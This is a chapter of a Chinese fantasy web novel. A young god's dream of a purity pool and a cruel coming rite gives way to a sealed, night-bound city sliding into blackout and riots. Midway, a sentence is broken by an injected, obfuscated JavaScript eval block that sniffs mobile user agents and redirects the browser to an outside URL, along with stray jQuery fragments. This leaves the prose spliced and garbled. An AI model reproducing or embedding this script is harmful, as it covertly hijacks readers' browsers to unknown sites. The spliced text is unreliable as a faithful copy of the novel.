34.第 34 章
作品:《饲养恶魔后漂亮神明带球跑》 姜宵做了一个梦。
梦里祂还没有给自己取“姜宵”这个名字,甚至未加冕为诸神之神,还只是一个新生不久、却不得不承担起众生期望的小神祇。
新生归新生,早已万众瞩目。自祂作为预言之中的“众神之首”诞生的那一刻起,天地间无数眼睛就已经盯上了祂,信赖、怀疑、敬畏、仇视……三千世界,十方宇宙,祂始终是焦点。
小神明的衣袍材质轻薄柔软,如同晨雾。衣摆仅仅垂过膝,露出细瘦的小腿和雪白的脚踝。
衣服上没有繁复的装饰,袖口由金线收束,便于行走和奔跑;尽管祂并不会做出奔跑这般不稳重之事。
相比后来庄严迤逦的神主袍,它更加简约、轻盈,宛若为了保护幼雏而张开的圣洁羽翼,呵护着祂孤高的童真。
小神明跪在真理净潭边,俯身正努力地够着什么,一池璀璨莲影在祂指尖摇曳。
祂没有朋友,也不需要陪伴,大多数时间都自己一个人待着,安安静静的,就算有人找来也不会主动开口,像尊小巧的、漂亮的雕像。
“原来您在这儿。”
小神明循声转过头,看见结伴而行的两人。
一个道骨仙风,半身虚影,另一个长满树藤,身披袈裟。
祂甩了甩手上的水珠,在它们化为浅金色的光的碎片后,起身向二人行礼:“老师,尊者。”
祂尚未加冕,仍有尊长。
空聆尊者和麓行尊者也同时对祂行礼。祂还不是神主,不宜呼为“陛下”,也没有别的更合适的称谓,暂且以“您”相称。
麓行尊者看了眼和平日无异的潭水,好奇道:“您在做什么?”
他是一棵树——或者半棵——对洁净的水源有天然的渴求,每次路过真理净潭都很想把全身泡进去;可惜也只能想想。
即便贵为尊者,这儿也不是他能踏足玷污的。
神域之内,惟有未来的神主方可触碰净潭。
所以小神明可以如凡间的人类幼崽嬉戏般随意撩着池水玩儿,他只能伸长脖子瞧两眼。
小神明看了他一眼,淡蓝的眸子从不会映出任何人的倒影。
祂抿了抿嘴,没说话。
麓行尊者每每想同祂沟通,十次有九次得不到回答,剩下一次勉强能得到一两个语气词。
小神明倒不是对他个人有什么意见(应该不是吧?),祂只不过平等地不爱搭理任何人。
今天也是同样。
麓行尊者看着那张稚嫩却冷淡的小脸,悻悻闭嘴。
这孩子并不亲近他,相比之下,自幼教导和辅佐祂的空聆尊者不仅得到“老师”的尊称,更拥有祂几乎独一份的信赖。
老人眯起眼睛漾出褶皱又平静的池水:“您在捞什么东西,是吗?”
小神明想了想:“是捉。”
“捉”和“捞”乍一听是相似的动作,本质很大的不同:这意味着水里的东西本来是属于祂的,而且从祂身边逃走了。
空聆尊者能比麓行尊者多问出来一句,也只多出这么一句。
再要问小神明想捉的东西是什么、需不需要自己的帮忙,祂就不说话了。
祂还那样小,丁点儿大一只,不到尊者们的腰高,精致得如同会被孩子们哄抢的昂贵人偶娃娃。
可祂生来就有统御三界六道的威严,祂不想说,没有人能、敢逼迫祂开口。
麓行尊者小心翼翼屏息,生怕自己呼吸重了惹到小神明不高兴。
空聆尊者自如得多,没再纠结于净潭,不着痕迹地随口换了话题:“还有几日就是神圣仪式了,您准备好了吗?”
小神明眨了眨眼:“一定要吗?”
此时的幼年神明还有浅浅的情绪起伏,是个会有喜好、意愿与抗拒,会在问句中用上疑问语气、在末尾正儿八经打上问号的小孩子。
“是的,一定要。”空聆尊者温和道,“那是您在加冕之前所需要完成的最后一道步骤。只有经历神圣仪式,您才能成为合格的神主。”
小神明低头想了会儿才回答,年幼的嗓音轻细柔软:“我知道了。”
祂冲二人点点头算是道别,离开真理净潭,白袍如云,落下的每一步伴着金莲绽放,亚麻色的发梢零落着又冷又明亮的光芒。
麓行尊者终于能开口:“祂看起来……不是很愿意进行仪式。”
“那样残酷,任谁都不会愿意。”空聆尊者叹了口气,“可那是诸神之神必经之路,而祂是唯一人选。”
麓行尊者摇摇头:“不容易啊。”
小神明的身影几乎看不清了,空聆尊者仍未收回视线,再一次重重叹息:“这么多年真是辛苦祂了。要是我没记错,陛下小的时候最喜欢来真理净潭玩儿,可神圣仪式结束之后,祂就再也没来过……”
麓行尊者听见他不合时宜的称呼,更听出他感慨中时间线的怪异,以为自己听错了:“您说什么?”
“没什么。”空聆尊者打了个哈欠,强行转移话题,“老头子缺觉胡言乱语很正常嘛……哎,要不要去喝酒?还是下凡玩玩儿?要不各回各家补觉吧?”
完全没有插话机会的麓行尊者:“……”
*
姜宵醒来,身边是打着哈欠互相推搡着起床领早餐的人类,以及守着他的楚情。
楚情原本在发呆,仿佛感应到祂的醒来,转头冲祂微微一笑:“先生。”
他总是这样,什么都不问,什么都不说。
姜宵还有点儿轻微的头晕,这和睡眠、梦境一样,对祂而言是史无前例的体验。
神明怎么会有如此人类的时刻?
祂早就发现了,不见城的异变不仅仅是对气候和昼夜的凝固,同样是对祂自己神力的污染。
然而怎么也想不到竟然会影响到这般地步。
姜宵揉了揉额角,感受着这几乎可以称之为新鲜的痛感。
还是掉以轻心了。
看来茧中异神比想象中更强大,需要花更多精力来处理。
按照戒律,祂不能直接干涉它的孵化。可如果到了万不得已必须出手的情况……
姜宵蓦地停下思绪。
祂望向四周拥挤而遥远的人群,楚情“看”出祂所寻,体贴地回答道:“先生,他一早就走了哦。”
小家伙缠了祂一整晚,使出浑身解数软硬兼施地磨人,居然甘心就这么走了?
姜宵忽然想起那个梦,在两位尊者到来之前,梦中幼小的祂想从池水中捉回来的“漏网之鱼”。
那天祂的确找回了它。
但在数日之后的神圣仪式开始前,祂再一次主动地,自愿放走了它,如同放走一只注定要高飞的鸟儿。
神明思及此处,抬手摸了摸左耳,摸到耳垂上小而锐利的冰冷的触感。
那颗祂为安抚小羊羔而戴上的金色宝石耳钉。
正欲垂下手,蓦地察觉到指间不同寻常的重量。
祂以为是白玫瑰的花瓣,低头看见一只蝴蝶。
翅背干枯斑驳似朽叶,展翼明艳绚烂如画卷,翕动之间,繁盛与凋零流转。
——一只枯叶蝶。
它不偏不倚停在祂的无名指上,静默如一枚戒指。
而戒指是因爱而生的,世间最小的枷锁。
祂知道的。
所以祂轻轻吹了口气,被惊扰的枯叶蝶振翅,解开镣铐后消散成暗金色光点。
*
一周过去,不见城与邻市间的屏障没有任何改变的迹象。
里面的人确定出不去,外面的人不敢尝试,也不知进不进得来。
再这样下去,这里将从时间静止之地彻底沦为孤岛。
先前聚集在活动中心的人们不得不回了家,他们为家人、朋友、邻里带来这触目惊心的消息,新一轮恐慌正悄无声息传染、围堵不见城。
一旦封禁开启,最先被哄抢的就是食物和基本生存物品,乃至武器。
有人早早开始搜罗超市和药店,有人联系自己的特殊渠道,有人待在家里惶惶不可终日,在真正的末日到来之前宁可自我了结。
不见城的管理局紧急出台应对措施,加强警戒;然而即便是警卫队的成员也无法保证这样下去还能多久——城内物资迟早有耗完的时候,到那一天,谁又会听谁的呢?
当制度和秩序消亡于黑夜,接下来登场的,就是弱肉强食的丛林法则了。
童话牧场正式闭店,成群膘肥体壮的家畜无疑是最显眼、最容易被盯上的目标,比起担心它们活不活得下去,佟老板更怕抢红眼的人们会伤到儿子和自家员工。
好在他未雨绸缪,早早有了准备:
牧场远离城中心,地处偏僻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336550|181072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一旦公共交通停运,没那么容易找过来;
这里的动物幼崽们都被有权有势之人认养,看在他们的名头上,普通人也不敢轻举妄动;
永夜两年间他精打细算进口了不少高端防护设备,足以应对突发状况;
更关键的是,牧场原本就设有打靶体验区,那可全是真枪实弹。
童话牧场看似温驯宁和,实则暗藏锋芒。一旦觉察出端倪,立刻能化身末日中最坚固的堡垒。
和运筹帷幄的老爸相反,佟灵对一切懵懵懂懂。他清楚的只有外面情况变得很坏,别说学校去不了,网课都停了。
他想弄明白究竟发生了什么,可无论老爸还是员工都缄口不提。
他们看着他长大,不希望他受到伤害,他理解、并且感激,仍觉得伤心:明年就要十八岁了,为什么还要被所有人当成一无所知的小孩子呢?
更令佟灵伤心的是,接下来很长一段时间会见不到小宁老师。
他知道宁槐一个人生活,家境也不太好,在佟老板打算封禁童话牧场之前就问过他要不要过来一块儿避避,起码在牧场里是吃喝不愁的。
然而宁槐摸摸他的头发,说了谢谢,没说好的。
“你要去哪儿呢?回家吗?”佟灵问。
“找个地方躲一躲吧。”宁槐说。
“既然躲,也可以来我们这儿啊!”
“不了。”宁槐笑了笑,“你和你爸爸都是很好的人,我不想连累你们。”
连累?为什么要用这个词呢?
小宁老师又没做错什么,大家都是末日的受害者。
佟灵不懂。
但他不懂的事太多了,再也不会有第二个人像小宁老师这样耐心地一一为他解答。
城市管理局发布宵禁——对于永夜之城来说,“宵禁”这个词未免显得太过荒唐——很快,宵禁的持续时间越拉越长,成了全天候戒严。
全城停电时,佟灵正在打游戏。
以前被允许玩半小时都很开心,现在已经觉得无聊了,不如外面发生点儿什么来得有趣。他在黑暗中听见在旁看新闻的老爸唰地站起来念叨着“怎么回事”,才反应过来不是自己瞎了。
牧场里有不少独立发电机,员工们有过类似经验,处理得很迅速。
大人们忙碌的时候,佟灵放下手柄,先开窗帘悄悄往外看。
今夜没有下雪,街道上弥漫着薄雾,竟比往常还要阴森。
路灯早就停工,更不会有行人选择这个时候出门,稀疏月光穿过雾气投下憧憧黑影,如同无声游荡的鬼魂,看得佟灵一个激灵。
他刚要放下窗帘,蓦地听到一阵怪异的动静。
扑通。
扑通。
犹如庞然大物贴着地表缓缓蠕动前行,或是雷鸣,或是……
巨大的,轰然的心跳声。
他头皮发麻,心慌慌地往外看去,什么都没有,除了摇曳的月影。
自己吓自己。
——是吗?
人们以为这次停电和以往一样,很快就会恢复。
然而24个标准时过去,昔日灯火通明的城市依旧漆黑一片,仿佛死在了长夜。
这时候任何张扬都是自寻死路,童话牧场不敢引人注目,谨慎地地隐藏自家有发电机的事实,除了维持设备运转所需的电,灯都没怎么开;窗户缝儿更是贴严实,生怕透出点什么。
眼下,人造光芒就如同血腥味,势必会吸引来饥肠辘辘的鲨群。
停电的第二天,卡助理来了一趟。
倒不是为了小迦(他那次出逃童话牧场、并被找到之后就再也没送回来;说实话牧场员工至今想不明白一只小绵羊是怎么越过重重封锁溜出去的),而是代表姜先生来看望他们的,问有没有需要帮助的地方。
卡助理平时话很多,那天却意外的寡言,临走前拍了拍佟灵的肩膀,叹气:“坚持住。不会太久了。”
佟灵一脑袋问号,想起最后一次见宁槐时对方也同样话说得这么模棱两可。
难道在跨过十八岁这条分界线之后,就会自动升级成为谜语人吗?
要是这样,长大可真没意思。
停电的第三天、第四天……
第七天,不见城死寂的外壳被弹尽粮绝的人们敲碎。
暴动开始了。